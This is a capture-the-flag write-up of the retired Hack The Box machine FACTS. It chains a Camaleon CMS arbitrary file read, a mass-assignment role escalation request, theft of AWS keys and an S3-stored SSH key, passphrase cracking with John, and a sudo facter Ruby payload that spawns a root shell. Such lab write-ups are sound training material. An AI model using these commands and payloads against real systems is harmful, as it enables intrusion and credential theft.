

Hack The Box – FACTS (Retired)

Martina Giacobbe

Summary

FACTS is a Linux-based Hack The Box machine that demonstrates how multiple medium-severity vulnerabilities can be chained to achieve full system compromise. The attack path includes CMS exploitation, mass assignment privilege escalation, cloud storage misconfiguration abuse, weak cryptographic practices, and insecure sudo permissions.

1 Enumeration

1.1 Port Scanning

An initial Nmap scan reveals two open services:

22/tcp	open	ssh	OpenSSH 9.9p1	Ubuntu
80/tcp	open	http	nginx 1.26.3	

This indicates a standard Linux host running an Nginx-backed web application and SSH for remote access.

2 Web Application Analysis

2.1 Search Function Testing

The `/search?q=` endpoint was tested for common injection flaws:

- SQL Injection
- Cross-Site Scripting (XSS)

Manual testing and automated tools such as `sqlmap` returned no vulnerabilities, suggesting proper sanitization for this endpoint.

2.2 CMS Identification

Inspection of page source code reveals the application is running **Camaleon CMS**. Attempting to access:

```
http://facts.htb/admin
```

redirects to the login page. Registration is allowed, granting access to a low-privileged administrative interface.

3 Camaleon CMS Vulnerabilities

3.1 CVE-2024-46987: Authenticated Arbitrary File Read

Vulnerability Type: Arbitrary File Read

Impact: Disclosure of sensitive system files

Requirement: Authenticated user

Theory

Arbitrary file read vulnerabilities occur when user-controlled input is passed to filesystem functions without proper validation. This allows attackers to retrieve sensitive files such as `/etc/passwd`, configuration files, or credentials.

Exploitation

Using the public exploit:

```
python3 CVE-2024-46987.py -u http://facts.htb -l hello -p hello /etc/passwd
```

Result:

```
root:x:0:0:root:/root:/bin/bash
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash
```

This reveals valid system users but does not immediately expose credentials.

4 Privilege Escalation in Camaleon CMS

4.1 CVE-2025-2304: Mass Assignment Vulnerability

Vulnerability Type: Privilege Escalation

Impact: Elevation to admin role

Theory

Mass assignment vulnerabilities arise when backend frameworks automatically bind request parameters to object attributes without enforcing access control. Attackers can modify protected attributes such as user roles.

Exploitation

Intercepting the password update request shows the use of the `updated_ajax` method. A crafted request is sent:

```
_method=patch&
user[role]=admin&
user[password]=hello&
user[password_confirmation]=hello
```

Reloading the page confirms the account has been promoted to administrator.

5 AWS S3 Misconfiguration

5.1 Discovery

The admin dashboard exposes AWS credentials and a custom S3 endpoint.

5.2 Configuration

```
aws configure
AWS Access Key ID: AKIA38155430441F0AA9
AWS Secret Access Key: Gc08L5cCZXVdw4KtyjNrNmBHM0GDeYinz87niW9s
Region: us-east-1
```

5.3 Bucket Enumeration

```
aws s3 ls --endpoint http://facts.htb:54321
```

Discovered buckets:

- internal
- randomfacts

5.4 Sensitive Data Exposure

The `internal` bucket contains an exposed `.ssh` directory:

```
aws s3 sync s3://internal/.ssh ./loot --endpoint http://facts.htb:54321
```

Downloaded files include:

- id_ed25519
- authorized_keys

6 SSH Key Cracking

6.1 Theory

Encrypted private keys rely on strong passphrases. Weak passphrases can be brute-forced, rendering encryption ineffective.

6.2 Cracking

```
ssh2john id_ed25519 > key.john  
john --wordlist=rockyou.txt key.john
```

Recovered passphrase:

```
dragonballz
```

6.3 SSH Access

```
ssh -i id_ed25519 trivia@facts.htb
```

User access is obtained.

7 Local Privilege Escalation

7.1 Sudo Permissions

```
sudo -l  
(ALL) NOPASSWD: /usr/bin/facter
```

7.2 Facter Abuse

Theory

Facter allows execution of custom Ruby facts. When executed with `sudo`, this becomes an arbitrary code execution vector.

Exploit

```
mkdir /tmp/facts
cat << EOF > /tmp/facts/pwn.rb
Facter.add(:pwned) do
  setcode do
    exec("/bin/bash")
  end
end
EOF
```

```
sudo factor --custom-dir /tmp/facts
```

A root shell is obtained.

Conclusion

FACTS highlights how real-world compromises often result from chaining multiple misconfigurations and logic flaws. Individually minor issues combine to produce full system compromise, emphasizing the importance of defense in depth.